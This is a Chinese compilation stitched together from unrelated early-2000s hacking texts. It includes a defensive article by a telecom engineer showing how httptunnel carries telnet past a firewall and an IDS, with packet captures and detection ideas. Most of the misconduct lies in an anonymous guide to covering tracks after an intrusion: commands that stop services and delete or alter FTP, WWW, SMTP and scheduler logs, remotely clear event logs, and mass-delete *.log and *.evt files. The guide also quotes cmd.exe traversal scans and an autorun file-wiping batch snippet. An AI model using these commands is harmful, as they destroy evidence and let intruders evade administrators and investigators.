    C:\WINDOWS\RUNDLL.EXE SETUPX.DLL,INSTALLHINFSECTION DEFAULTINSTALL 132 CLEAN.INF

    ECHOY |ERASE C:\WINDOWS\RECENT

    各位可将CLEAN.BAT 加入HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN中让电脑自动在启动时完成任务.


由http暗藏通道看网络安全

内容：

什么是http暗藏通道
什么是Httptunnel
Httptunnel带来的安全问题
一些解决思路
总结
参考资料
关于作者

宫一鸣 (yiming@security.zz.ha.cn)
中国电信网络安全小组核心成员
2001 年 12 月

通过本文的httptunnel 技术同时逃过了防火墙的屏蔽以及系统的追踪试验，我们可以看到网络安全仅仅依靠某种或某几种手段是不可靠的，同时对安全系统的盲目性依赖往往会造成巨大的安全隐患。希望通过本文能引起管理员对网络安全防护系统的思考。
什么是http暗藏通道
什么是局域网安全，系统管理员怎样才能保障局域网的安全？这是一个不断变化的安全概念，很长的一个时期以来，在局域网与外界互联处放置一个防火墙，严格控制开放的端口，就能在很大程度上掌握安全的主动权，方便的控制网内外用户所能使用的服务。比如，在防火墙上仅仅开放80，53两个端口，那么无论是内部还是外面的恶意人士都将无法使用一些已经证明比较危险的服务。

但要注意一点，防火墙在某种意义上是很愚蠢的，管理员对防火墙的过分依赖以及从而产生的懈怠情绪将不可避免的形成安全上的重大隐患，作为一个证明，"通道"技术就是一个很好的例子，这也是本文要讨论的。

那么什么是通道呢？这里所谓的通道，是指一种绕过防火墙端口屏蔽的通讯方式。防火墙两端的数据包封装在防火墙所允许通过的数据包类型或是端口上，然后穿过防火墙与对端通讯，当封装的数据包到达目的地时，再将数据包还原，并将还原后的数据包交送到相应的服务上。举例如下： A主机系统在防火墙之后，受防火墙保护，防火墙配置的访问控制原则是只允许80端口的数据进出，B主机系统在防火墙之外，是开放的。现在假设需要从A系统Telnet到B系统上去，怎么办？使用正常的telnet肯定是不可能了，但我们知道可用的只有80端口，那么这个时候使用Httptunnel通道，就是一个好的办法，思路如下： 在A机器上起一个tunnel的client端，让它侦听本机的一个不被使用的任意指定端口，如1234，同时将来自1234端口上的数据指引到远端（B机）的80端口上（注意，是80端口，防火墙允许通过），然后在B机上起一个server，同样挂接在80端口上，同时指引80端口的来自client的转发到本机的telnet服务端口23，这样就ok了。现在在A机上telnet本机端口1234，根据刚才的设置数据包会被转发到目标端口为80的B机，因为防火墙允许通过80端口的数据，因此数据包畅通的穿过防火墙，到达B机。此时B机在80端口侦听的进程收到来自A的数据包，会将数据包还原，再交还给telnet进程。当数据包需要由B到A返回时，将由80端口再回送，同样可以顺利的通过防火墙。

实际上tunnel概念已经产生很久了，而且很有可能读者使用过类似的技术，比如下面的网址http://www.http-tunnel.com。它是一个专业提供tunnel服务的公司，通过他们的在线tunnel server,局域网内的用户可以使用被防火墙所屏蔽的ICQ，E-MAIL，pcanywhere， AIM，MSN， Yahoo，Morpheus，Napster等等诸多软件。我们看到，这里有ICQ,Napster等软件，相信我们的读者很多都使用过走proxy的ICQ,OICQ等等，其实他们的原理是差不多的。

什么是Httptunnel
作为一个实际的例子，我们下面来介绍一个在"非公开领域"使用的的通道软件，httptunnel。在httptunnel主页（请参阅参考资料）上有这么一端话，
httptunnel creates a bidirectional virtual data connection tunnelled in HTTP requests. The HTTP requests can be sent via an HTTP proxy if so desired.
This can be useful for users behind restrictive firewalls. If WWW access is allowed through a HTTP proxy, it's possible to use httptunnel and, say, telnet or PPP to connect to a computer outside the firewall.

从这段说明中我们可以看出来它就是我们今天说要介绍的tunnel技术的一个证明，我们下面大致介绍一下它的使用。

httptunnel目前比较稳定的版本是3.0.5, 支持各种常见的unix系统，包括window平台。可以从相关站点（请参阅参考资料）下载，它的安装是比较简单的，照INSTALL文件做就可以了，这里不介绍。

整个软件安装完毕后，我们会得到两个关键文件，htc和hts,其中htc是客户端（c），而hts是server(s)端，我们来看看具体怎么使用的。

假设有A（域名client.yiming.com)机，B(域名server.yiming.com)机，两机均为solaris环境，A机在防火墙保护中，B机在防火墙以外，防火墙的管理员控制了访问规则，仅ALLOW 80和53端口的进出数据包。而我们的任务是要利用Httptunnel从A机telnet到B机上，穿过防火墙的限制。操作如下：

首先我们在A上启动client端，命令很简单：
client.yiming.com#htc -F 1234 server.yiming.com:80，

系统回到提示符下，此刻我们用netstat -an 可以看到系统内多出了1234端口的侦听 *.1234 *.* 0 0 0 0 LISTEN

然后我们在B机上启动server端，命令如下：
server.yiming.com#hts -F localhost:23 80

系统回到提示符下，此刻我们用netstat看 *.80 *.* 0 0 0 0 LISTEN

80端口处于侦听状态，需要注意的是，如果系统本身跑的有web服务（80端口本身处于侦听），并不会影响Httptunnel的工作。

Ok,server以及client端都启动了，我们可以开始我们的"通道"试验了，在client.yiming.com上执行一下如下命令看看：

Client.yiming.com#telnet localhost 1234

Trying 0.0.0.0...

Connected to 0.

Escape character is '^]'.

SunOS 5.7

This is yiming's private box! Any question,contact me with yiming@security.zz.ha.cn

login:

看到B机的登录提示符了,输入账号密码看看是否工作正常？

Login:yiming

Password: (omit here;) )

sever.yiming.com# ls

bak check go httpd lost+found mrtg run soft wg

OK! 工作正常，和正常的telnet没有什么差别。

仔细观察整个过程，会发现在最开始的地方显示的是Trying 0.0.0.0...，Connected to 0.而不是Trying server.yiming.com…,Connect to server.yiming.com，这就很直观的可以看出来client端是转发1234数据包到本机80端口的。（然后再转发到远端）而不是直接连接远端的B机。

上面是比较直观的测试，为了进一步验证server和client之间不是通过23端口通讯，我们抓取数据包来看看。我们在server起个抓包工具tcpdump（请参阅参考资料）瞧瞧。

server.yiming.com#tcpdump host client.yiming.com

tcpdump: listening on hme0

14:42:54.213699 client.yiming.com.51767 > server.yiming.com.80: S 1237977857:1237977857(0) win 8760 (DF)

14:42:54.213767server.yiming.com.80 > client.yiming.com.51767: S 1607785698:1607785698(0) ack 1237977858 win 8760 (DF)

14:42:54.216186 client.yiming.com.51768 > server.yiming.com.80: . ack 1 win 8760 (DF)

14:42:54.218661 client.yiming.com.51768 > server.yiming.com.80: P 1:44(43) ack 1 win 8760 (DF)

14:42:54.218728 client.yiming.com.51768 > server.yiming.com.80: P 44:48(4) ack 1 win 8760 (DF)

篇幅所限，上面只是截取了结果中的一点点数据包，但已经可以说明问题了，我们看到server和client之间顺利的完成了三次握手，然后开始push数据，而且通讯确实走的是80端口。有点意思噢。

看是看出来了，但太不直白，到底在搞什么呀，我们再稍微改动一下tcpdump的运行方式，进一步在来看看telnet的数据是否被封装在80端口的数据包内传输？

server.yiming.com#tcpdump -X host client.yiming.com

14:43:05.246911 server.yiming.com.80 > client.yiming.com.51768: . 2997:4457(1460) ack 89 win 8760 (DF)

0x0000 4500 05dc 3b23 4000 ff06 e2c2 yyyy yyyy E...;#@......f.D

0x0010 xxxx xxxx 0050 de42 5fd5 ac4f 39ac 016f .f.#.P.B_..O9..o

0x0020 5010 2238 98e4 0000 746f 7461 6c20 3636 P."8....total.66

0x0030 370d 0a64 7277 7872 2d78 722d 7820 2032 7..drwxr-xr-x..2

0x0040 3920 726f 6f74 2020 2020 2072 6f6f 7420 9.root.....root.

呵呵，这次清楚多了，上面应该是一次ls命令的输出结果，可以清楚的看到telnet的结果！果然telnet的数据是在80端口的数据包内！

Httptunnel带来的安全问题
写到这里，我们可以想象一下，如果管理员完全信赖防火墙，那么在一个有这样隐患的的局域网中，会发生什么样的后果？

我们可以看到，多年以来，对防火墙的依赖也一直列在SANS的Top 10安全问题中。

既然如此，就很自然的会产生一个问题是：这种httptunnel行为能被发现吗？

首先我们想到的是使用入侵检测系统，在目前的网络安全设计中，防火墙加入侵检测系统是一种比较流行的安全联动配置，既然httptunnel绕过了防火墙，那么IDS系统呢？我们来测测看看。

在下面的测试中，我们将使用IDS系统是Snort，版本1.8.2。（请参阅参考资料）这可是大名鼎鼎的开放源代码的IDS系统，在它的说明中，被描述为一个轻量级的，可跨平台工作的入侵检测系统，在2001年12月英国的独立测试实验室NSS的评测中（请参阅参考资料），击败了包括商用IDS系统的所有对手，这些商用软件可是包括ISS，CISCO SECURE IDS，CA ETRUST，CYBERSAFE CENTRAX，NFR。有兴趣的读者还可以看这篇名为Open source mounts IDS challenge 的报道（请参阅参考资料）。

好，对Snort的大致介绍完毕，我们来看看结果吧，Snort对整个试验过程抓获的数据包产成了告警，如下：

[**] WEB-MISC whisker splice attack [**]

12/02-14:42:54.389175 client.yiming.com:51767-> server.yiming.com:80

TCP TTL:251 TOS:0x0 ID:3327 IpLen:20 DgmLen:42 DF

***AP*** Seq: 0x49CA0BA7 Ack: 0x5FD4DCE3 Win: 0x2238 TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] WEB-MISC whisker splice attack [**]

12/02-14:43:03.195006 client.yiming.com:51767 -> server.yiming.com:80

TCP TTL:251 TOS:0x0 ID:3439 IpLen:20 DgmLen:41 DF

***AP*** Seq: 0x49CA0C20 Ack: 0x5FD4DCE3 Win: 0x2238 TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] WEB-MISC whisker splice attack [**]

12/02-14:43:04.630268 client.yiming.com:51768-> server.yiming.com:80

TCP TTL:251 TOS:0x0 ID:3496 IpLen:20 DgmLen:41 DF

***AP*** Seq: 0x49CA0C4E Ack: 0x5FD4DCE3 Win: 0x2238 TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

我们看到snort对抓获的数据包产生了WEB-MISC whisker splice attack的告警，然而这种攻击并没有发生，同时snort对tunnel数据包没有察觉。这样snort就同时出现了IDS系统的两个问题，false positive，false negative。

这也很正常，因为这也是基于签名的IDS系统的通病，目前决大数IDS系统包括著名的商用软件ISS,NFR等都是基于签名的，也就是说系统维护着一套特定攻击数据包的数据模式签名。系统工作时，检查经过的数据包的内容，和自己数据库内数据模式签名对比，如果和某种攻击模式签名相同，那么就判断发生了某种攻击。

由此我们可以看出很明显的存在若干问题：如对签名的依赖不可避免的导致两个结果，false negative ,false positive。也就是说会产生漏报和误报，这一点很容易理解，当新出现一种攻击模式时，由于IDS系统内没有相应的数据签名，那么就不可能捕获相应的攻击数据包，false negative由此发生。同时，过于依赖签名模式也很容易误报，就象我们上面的例子。同时，对数据签名的依赖会在一定程度上降低系统性能-经过的数据包都需要和IDS系统的签名对照。（请参阅参考资料）

此外，基于签名的IDS系统本身有可能由于依据签名这一特性而被攻击，一个例子是stick ，这个程序的作者利用IDS系统进行签名匹配工作原理，发送大量带有攻击特征的数据包给IDS系统，使IDS系统本身处理能力超过极限，从而导致IDS系统无法响应。按照作者Coretez Giovanni的说法，运行2秒钟stick就能使著名的商用IDS系统ISS real secure崩溃。由上我们看到，对IDS系统的完全依赖同样是有风险的。（请参阅参考资料）

一些解决思路
看来依靠手头的IDS是无法察觉这种行为了，那么有其它办法吗？我们仔细分析一下事件过程中截获的httptunnel数据包再说吧。

仔细观察截获的httptunnel数据包，可以发现紧跟着三次握手完成后的第一个数据包包含着一个POST动作，是由htc（client端）发送到hts(server端)的。如下： 14:55:39.128908 client.yiming.com.51767 > server.yiming.com.80: S 3521931836:3521931836(0) win 8760 <mss 1460> (DF)
0x0000 4500 002c d3cc 4000 fb06 53c9 xxxx xxxx E..,..@...S..f.#
0x0010 yyyy yyyy ca37 0050 d1ec 6a3c 0000 0000 .f.D.7.P..j<....
0x0020 6002 2238 1708 0000 0204 05b4 0000 `."8..........
14:55:39.128945 server.yiming.com.80 > client.yiming.com.51767: S 2946004964:2946004964(0) ack 3521931837 win 8760 <mss 1460> (DF)
0x0000 4500 002c cb85 4000 ff06 5810 yyyy yyyy E..,..@...X..f.D
0x0010 xxxx xxxx 0050 ca37 af98 77e4 d1ec 6a3d .f.#.P.7..w...j=
0x0020 6012 2238 ef79 0000 0204 05b4 `."8.y......
14:55:39.131002 client.yiming.com.51767 > server.yiming.com.80: . ack 1 win 8760 (DF)
0x0000 4500 0028 d3cd 4000 fb06 53cc xxxx xxxx E..(..@...S..f.#
0x0010 yyyy yyyy ca37 0050 d1ec 6a3d af98 77e5 .f.D.7.P..j=..w.
0x0020 5010 2238 0737 0000 0000 0000 0000 P."8.7........
14:55:39.132841 server.yiming.com.80 > client.yiming.com.51767: . ack 44 win 8760 (DF)
0x0000 4500 0028 cb86 4000 ff06 5813 yyyy yyyy E..(..@...X..f.D
0x0010 xxxx xxxx 0050 ca37 af98 77e5 d1ec 6a68 .f.#.P.7..w...jh
0x0020 5010 2238 070c 0000 P."8....
14:55:39.132860 client.yiming.com.51767 > server.yiming.com.80: P 1:44(43) ack 1 win 8760 (DF)
0x0000 4500 0053 d3ce 4000 fb06 53a0 xxxx xxxx E..S..@...S..f.#
0x0010 yyyy yyyy ca37 0050 d1ec 6a3d af98 77e5 .f.D.7.P..j=..w.
0x0020 5018 2238 d23a 0000 504f 5354 202f 696e P."8.:..POST./in
0x0030 6465 782e 6874 6d6c 3f63 7261 703d 3130 dex.html?crap=10
0x0040 3037 3838 3034 3836 2048 5454 502f 312e 07880486.HTTP/1.
0x0050 310d 0a 1..
1..

看起来是发送client端的数据包到server端的，那么server有什么反应呢？我们往下看,在上面这个过程完成后，htc和hts又发生了一次握手（注意，又一次握手），如下：

14:55:39.134301 client.yiming.com.51768 > server.yiming.com.80: S 2851199448:2851199448(0) win 8760 (DF)

0x0000 4500 002c d3df 4000 fb06 53b6 xxxx xxxx E..,..@...S..f.#

0x0010 yyyy yyyy ca38 0050 a9f1 d9d8 0000 0000 .f.D.8.P........

0x0020 6002 2238 cf65 0000 0204 05b4 0000 `."8.e........

14:55:39.134389 server.yiming.com.80 > client.yiming.com.51768: S 2946060449:2946060449(0) ack 2851199449 win 8760 (DF)

0x0000 4500 002c cb8f 4000 ff06 5806 yyyy yyyy E..,..@...X..f.D

0x0010 xxxx xxxx 0050 ca38 af99 50a1 a9f1 d9d9 .f.#.P.8..P.....

0x0020 6012 2238 cf19 0000 0204 05b4 `."8........

14:55:39.136527 client.yiming.com.51768 > server.yiming.com.80: . ack 1 win 8760 (DF)

0x0000 4500 0028 d3e0 4000 fb06 53b9 xxxx xxxx E..(..@...S..f.#

0x0010 yyyy yyyy ca38 0050 a9f1 d9d9 af99 50a2 .f.D.8.P......P.

0x0020 5010 2238 e6d6 0000 0000 0000 0000 P."8..........

14:55:39.137333 client.yiming.com.51768 > server.yiming.com.80: P 1:43(42) ack 1 win 8760 (DF)

0x0000 4500 0052 d3e1 4000 fb06 538e xxxx xxxx E..R..@...S..f.#

0x0010 yyyy yyyy ca38 0050 a9f1 d9d9 af99 50a2 .f.D.8.P......P.

0x0020 5018 2238 25ce 0000 4745 5420 2f69 6e64 P."8%...GET./ind

0x0030 6578 2e68 746d 6c3f 6372 6170 3d31 3030 ex.html?crap=100

0x0040 3738 3830 3438 3620 4854 5450 2f31 2e31 7880486.HTTP/1.1

0x0050 0d0a ..

14:55:39.137379 server.yiming.com.80 > client.yiming.com.51768: . ack 43 win 8718 (DF)

0x0000 4500 0028 cb90 4000 ff06 5809 yyyy yyyy E..(..@...X..f.D

0x0010 xxxx xxxx 0050 ca38 af99 50a2 a9f1 da03 .f.#.P.8..P.....

0x0020 5010 220e e6d6 0000 P.".....

14:55:39.139733 client.yiming.com.51768 > server.yiming.com.80: P 43:89(46) ack 1 win 8760 (DF)

0x0000 4500 0056 d3e2 4000 fb06 5389 xxxx xxxx E..V..@...S..f.#

0x0010 yyyy yyyy ca38 0050 a9f1 da03 af99 50a2 .f.D.8.P......P.

0x0020 5018 2238 e156 0000 486f 7374 3a20 3230 P."8.V..Host:.20

0x0030 322e 3130 322e 3232 372e 3638 3a38 300d 2.102.227.68:80.

0x0040 0a43 6f6e 6e65 6374 696f 6e3a 2063 6c6f .Connection:.clo

0x0050 7365 0d0a 0d0a se....

14:55:39.151300 server.yiming.com.80 > client.yiming.com.51768: P 1:170(169) ack 89 win 8760 (DF)

0x0000 4500 00d1 cb91 4000 ff06 575f yyyy yyyy E.....@...W_.f.D

0x0010 xxxx xxxx 0050 ca38 af99 50a2 a9f1 da31 .f.#.P.8..P....1

0x0020 5018 2238 e721 0000 4854 5450 2f31 2e31 P."8.!..HTTP/1.1

0x0030 2032 3030 204f 4b0d 0a43 6f6e 7465 6e74 .200.OK..Content

0x0040 2d4c 656e 6774 683a 2031 3032 3430 300d -Length:.102400.

0x0050 0a43 6f6e 6e65 6374 696f 6e3a 2063 6c6f .Connection:.clo

0x0060 7365 0d0a 5072 6167 6d61 3a20 6e6f 2d63 se..Pragma:.no-c

0x0070 6163 6865 0d0a 4361 6368 652d 436f 6e74 ache..Cache-Cont

0x0080 726f 6c3a 206e 6f2d 6361 6368 652c 206e rol:.no-cache,.n

0x0090 6f2d 7374 6f72 652c 206d 7573 742d 7265 o-store,.must-re

0x00a0 7661 6c69 6461 7465 0d0a 4578 7069 7265 validate..Expire

0x00b0 733a 2030 0d0a 436f 6e74 656e 742d 5479 s:.0..Content-Ty

0x00c0 7065 3a20 7465 7874 2f68 746d 6c0d 0a0d pe:.text/html...

从数据包中可以看到，本次通讯中hts(server)端向htc(client)端发送了一个GET的标识包，估计是去"取"刚才client端发来的数据包，而且是一次新的握手！为了验证，我们分别在client,server端，执行netstat -an，结果证明了我们的观察是正确的，如下：

client.yiming.com.51767 server.yiming.com.80 8760 0 8760 0 ESTABLISHED

client.yiming.com.51768 server.yiming.com.80 8760 0 8760 0 ESTABLISHED

在server端，执行netstat -an，结果如下：

server.yiming.com.80 client.yiming.com.51767 8760 0 8760 0 ESTABLISHED

server.yiming.com.80 client.yiming.com.51768 8760 0 8760 0 ESTABLISHED

果然，防火墙两边的系统都起了两个socket，和一般程序不同，这是个比较特殊的现象。

GET动作完成后，server端又向client端发送了一个数据包，内容是

HTTP/1.1 200 OK Content-Length: 102400

Connection: close

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate

Expires: 0

Content-Type: text/html

这里应该是定义数据包传输最大值等参数的。

作者察觉，经由了这三次htc和hts之间的作用后，httptunnel才真正的建立起来，后面的工作才能正常开展，而且很有意思的是，自此以后所有后续的数据包一律没有80端口经常走的GET,PUT,POST之类的内容！！这里看来可以想点办法。

上面说过，正常走80端口的数据包应该是web行为，那么就数据包中就应该少不了get等正常的动作内容，如果在80端口经过的数据总是没有这些东东，那么就肯定有问题了， 那么这种问题就有了一种解决方案，就是手工检查通过80端口通过的数据包，如果数据包是明文传送，那么就很容易发现这种行为。但这种行为也只能在理论上可行。在实际上的操作是不可能的，有没有比较成熟的这种产品呢？按照这个思路检索网上的数据，果然发现有种入侵检测e-Gap系统可以确实察觉及屏蔽httptunnel等通道软件的存在，它工作在tcp/ip的应用层，在应用层一级检测数据包的确切性，比如，检测80端口的数据包，如果看起来数据包中总是没有有效的数据（URL,get,put等参数），那么e-Gap系统就会报警，并中断连接行为。（请参阅参考资料）

需要注意的是，这种侦测方法仅对明文传送的有效，如果数据被加密，那么也就无计可施了。那么再进一步，如果加密了呢？目前作者掌握的情况来看，StealthWatch硬件产品可能是一种比较好的选择，它完全摈弃了基于签名的工作模式，而是采用一种正在申请专利的基于flow-base构架策略，按照几家评测实验室的结果来看，可以有效的察觉已经公开和未公开的各种攻击，Dos，蠕虫，病毒等，甚至包括加密的通讯！但是，它的价钱也远远的超出了普通的商用IDS系统，一套齐备的设施需4万美元！具体效果作者目前没有条件测试。（请参阅参考资料）

总结
在我们的试验中，httptunnel同时逃过了防火墙的屏蔽以及入侵检测系统的追踪，这是值得思考的。我们可以看到，网络安全仅仅依靠某种或某几种手段是不可靠的，尤其是对安全性要求很高的应用系统，同时对安全系统的盲目依赖往往会造成巨大的安全隐患。

参考资料

httptunnel主页
http://www.nocrew.org/software/httptunnel.html
httptunnel程序下载
ftp://ftp.nocrew.org/pub/nocrew/unix/httptunnel-3.0.5.tar.gz
tcpdump主页及相关资源
http://www.tcpdump.org/
SNORT主页及相关资源
http://www.snort.org/
NSS关于IDS系统的评测报告
http://www.nss.co.uk/ids/index.htm
Open source mounts IDS challenge 的报道
http://www.vnunet.com/News/1127283
文章"Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection"
http://secinf.net/info/ids/idspaper/idspaper.html
Stick作者主页
http://www.eurocompton.net/stick/projects8.html
e-Gap产品
http://www.whalecommunications.com/
StealthWatch产品
http://www.lancope.com/products

关于作者
宫一鸣，男，26 岁，河南电信网络关键设备高级系统管理员，主任工程师，中国电信国家级跨世纪人才，中国电信网络安全小组核心成员，河南电信网络安全小组成员。您可以通过E-mail :yiming@security.zz.ha.cn或网站http://security.zz.ha.cn/联系他!


于删除入侵后的记录

KANE收集整理
作者：未知

Windows2000的日志文件通常有应用程序日志，安全日志、系统日志、smtp服务器日志,DNS服务器日志、FTP日志、WWW日志等等，可能会根据服务器所开启的服务不同而有所不同。还有一些网络管理软件的日志，说到这里，记得新浪的网管软件是自己开发的，如果不了解这个，可能会留下更多的记录。这次只谈清除FTP。IIS应用程序日志，smtp服务器日志,系统日志这些一般日志的命令行下的删除方法.

(1) Scheduler日志

Scheduler服务日志默认位置：2000下: %sys temroot%\schedlgu.txt NTworkstation下为 SchedLog.txt
可以打开schedlgu.txt
Schedluler服务日志在注册表中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent
先停掉他 net stop "task scheduler" (注意不停是删不掉的)
然后再 del schedlgu.txt 或 schedlog.txt之后就OK了.
del sched*.txt
不过你如果不想删他,也可以改改它. 他的内容是这样的:
" "任务计划程序服务"
已退出于 01-5-22 20:37:34
"任务计划程序服务"
已启动于 01-5-25 7:07:37
"任务计划程序服务"
已启动于 01-5-25 7:26:36
"任务计划程序服务"
已退出于 01-5-25 8:47:54 "
很好改的.

(2) FTP日志

Internet信息服务FTP日志默认位置：%sys temroot%\sys tem32\logfiles\msftpsvc1\，默认每天一个日志.
格式是这样的 ex*.log .
注意这是一台NT4的LOGFILES下的文件:
这台服务器下管理有多个HTTP或FTP站点

c:\winnt\sys tem32\logfiles 的目录

00-12-04 06:28p .
00-12-04 06:28p ..
01-05-18 12:56p MSFTPSVC1
01-04-23 11:28a MSFTPSVC2
01-01-12 11:56a MSFTPSVC3
01-06-01 08:12a SMTPSVC1
01-09-20 08:55a W3SVC1
01-08-02 10:36a W3SVC10
01-10-11 04:48p W3SVC11
01-07-11 09:16a W3SVC2
01-10-11 10:31a W3SVC3
01-10-10 04:55p W3SVC4
01-09-28 01:43p W3SVC5
01-10-11 08:44a W3SVC6
01-10-11 08:00a W3SVC7
01-09-30 01:49p W3SVC8
01-10-11 08:03a W3SVC9

看看日志文件的格式:
c:\winnt\sys tem32\logfiles\msftpsvc1\in010306.log
192.168.5.8, anonymous, 01-3-6, 16:41:51, MSFTPSVC1, APPSERVER, 192.168.5.8, 0,
0, 0, 331, 0, [3]USER, anonymous, -,
192.168.5.8, -, 01-3-6, 16:41:51, MSFTPSVC1, APPSERVER, 192.168.5.8, 0, 0, 0, 53
0, 1326, [3]PASS, IE30User@, -,
关于LOG文件的含意我就不解释了,浪费时间,嘿嘿.

法一:> 这个时侯 net stop msftpsvc 停掉后台服务.
然后尽管 del ............
看这删吧,不要删的过火,把当天的删了就行. 别忘了再NET START MSFTPSVC 把服务打开.
法二:> 当然你如果还想更好,那就改改日志,可以改了系统时间后再改日志,只把你的清了,别忘了把时间改回来哦
实际上在得到ADMIN权限后,做这些事很容易.

法三screen.width-300)this.width=screen.width-300'> 最傻瓜的清FTP日志的方法, cleaniislog 小蓉写的工具,不用我再教了吧!

(3) WWW日志

Internet信息服务WWW日志默认位置：%sys temroot%\sys tem32\logfiles\w3svc1\，默认每天一个日志

注意这是一台NT4的LOGFILES下的文件:
这台服务器下管理有多个HTTP或FTP站点

c:\winnt\sys tem32\logfiles 的目录

00-12-04 06:28p .
00-12-04 06:28p ..
01-05-18 12:56p MSFTPSVC1
01-04-23 11:28a MSFTPSVC2
01-01-12 11:56a MSFTPSVC3
01-06-01 08:12a SMTPSVC1
01-09-20 08:55a W3SVC1
01-08-02 10:36a W3SVC10
01-10-11 04:48p W3SVC11
01-07-11 09:16a W3SVC2
01-10-11 10:31a W3SVC3
01-10-10 04:55p W3SVC4
01-09-28 01:43p W3SVC5
01-10-11 08:44a W3SVC6
01-10-11 08:00a W3SVC7
01-09-30 01:49p W3SVC8
01-10-11 08:03a W3SVC9

w3svc1 下的文件:
01-09-18 08:00a 70,918 ex010917.log
01-09-19 08:00a 3,243,955 ex010918.log
01-09-19 10:25p 2,686,976 ex010919.log
01-09-20 10:00a 327,680 ex010920.log

此时看看文件内容: type c:\winnt\sys tem32\logfiles\w3svc1\ex010920.log

01:26:17 127.74.36.149 GET /c/winnt/sys tem32/cmd.exe 404
01:26:17 127.37.88.60 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/sys tem32/cmd.e
xe 404
01:26:17 127.208.246.13 GET /d/winnt/sys tem32/cmd.exe 404
01:26:17 127.74.36.149 GET /d/winnt/sys tem32/cmd.exe 404
01:26:17 127.37.88.60 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/sys tem32/cmd.e
xe 404
01:26:17 127.208.246.13 GET /scripts/..%5c../winnt/sys tem32/cmd.exe 403
01:26:17 127.74.36.149 GET /scripts/..%5c../winnt/sys tem32/cmd.exe 403
01:26:17 127.208.246.13 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/sys tem32/cmd
.exe 404
01:26:17 127.74.36.149 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/sys tem32/cmd.
exe 404
01:26:17 127.208.246.13 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/sys tem32/cmd
.exe 404
01:26:17 127.74.36.149 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/sys tem32/cmd.
......................

shit ,全是CGI漏洞的扫描

法一:> 这个时侯 net stop w3svc 停掉后台服务.
然后尽管 del ............
看这删吧,不要删的过火,把当天的删了就行. 别忘了再NET START w3svc 把服务打开.
法二:> 当然你如果还想更好,那就改改日志,可以改了系统时间后再改日志,只把你的清了,别忘了把时间改
回来哦
实际上在得到ADMIN权限后,做这些事很容易.

法三screen.width-300)this.width=screen.width-300'> 最傻瓜的清FTP日志的方法, cleaniislog 小蓉写的工具.

(4) SMTP日志

smtp服务日志默认位置：%sys temroot%\sys tem32\logfiles\smtpsvc1\
目录:

01-06-01 08:12a SMTPSVC1

该目录下的文件行式:

01-05-15 12:21a 371 ex010513.log
01-05-16 03:52a 257 ex010514.log
01-05-16 09:09a 182 ex010515.log
01-05-17 04:14p 893 ex010516.log
01-05-18 09:22a 263 ex010517.log
01-05-21 09:09a 293 ex010518.log
01-06-01 08:12a 8,222 ex010531.log
01-06-05 01:37p 3,099 ex010601.log

该文件ex010601.log的内容:

00:58:24 202.104.112.168 QUIT - 0
00:58:30 202.104.112.168 MAIL FROM - 250
00:58:30 202.104.112.168 RCPT TO - 250
00:58:30 202.104.112.168 MAIL FROM - 250
00:58:30 202.104.112.168 RCPT TO - 250
00:58:30 202.104.112.168 QUIT - 0
00:59:51 202.104.112.168 MAIL FROM - 250
00:59:51 202.104.112.168 RCPT TO - 250
00:59:54 202.104.112.168 QUIT - 0
关于LOG文件的含意我就不解释了,浪费时间,嘿嘿.
删除方法:

法一:> 此时可以 net stop smtpsvc
再 del .............
别忘了 net start smtpsvc

当然改文件内容也是可以的喽!

(5) eventlog日志文件
它包含: 安全日志、统日志、应用程序日志
Detection of product '{00000804-78E1-11D2-B60F-006097C998E7}', feature 'TCWord2Files' failed during request for component ''
它是关键服务。如果不用第三方工具，在命令行上几乎没有删除安全日志和系统日志的可能,(至少我还没想
出来)所以还是得用虽然简单但是速度慢得死机的办法：打开“控制面板”的“管理工具”中的 “事件查看器”
(98没有，知道用Win2k的好处了吧)，在菜单的“操作”项有一个名为“连接到另一台 计算机”的菜单，点击它：
输入远程计算机的IP，等,然后选择远程计算机的安全性日志，右键选择它的属性,点击属性里的“清除日志”
按钮，等啊等啊等.......OK！安全日志清除完毕！同样的忍受痛苦去清除系统日志！：）

简易篇：
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log


远程打开程NetBT的方法-By Longriver

主题:远程打开程NetBT的方法探索
关键词:NetBT(NetBois over TCP/IP)、注册表、NTRK

2002-1-7我在绿盟 的BBS上发了一个帖子，没人回复，内容如下：

——————————————————————————————
远程主机的共享似乎被限制了（但139、775端口仍然开着）
但是可以通过别的方式在命令行上控制远程主机
请问如何打开主机的远程共享？
——————————————————————————————
2002-1-11我找到了答案，先来一篇抛砖引玉。

先描述一下问题，进入远程主机后，可以取得Administrator级别的权限，但是对方NetBios没开，虽然可以使用其它方式Get主机上的文件，但是终究不够方便。这种情况可能发生在你用其它端口（如SqlServer的默认端口）来管理远程主机时。（注：以下所有讨论基于Win2k Server 中文版+SP2+大部分的SP2后的HotFix，所谓的SP3。）
第一种很容易想到的方式是利用sysocmgr.exe（位于%SystemRoot%\system32\）下来安装终端服务，sysocmgr的含义是System stand-alone Optional Component Manager（系统独立可选组件管理器），详情请参考sinbad网站上的介绍，不过这种方式需要重新启动服务器，所以在很大程度上影响了启动NetBT的可行性和隐蔽性。
第二个方式是我猜测的，用NetSh命令的Wins界面来修改NetBT的设置，不过由于我的机器出现如图1所示错误，所以无法继续下去，原因待查：

图1

搞了半天，还是没有突破性进展，Relax一下，看会儿A片先，嘿嘿。
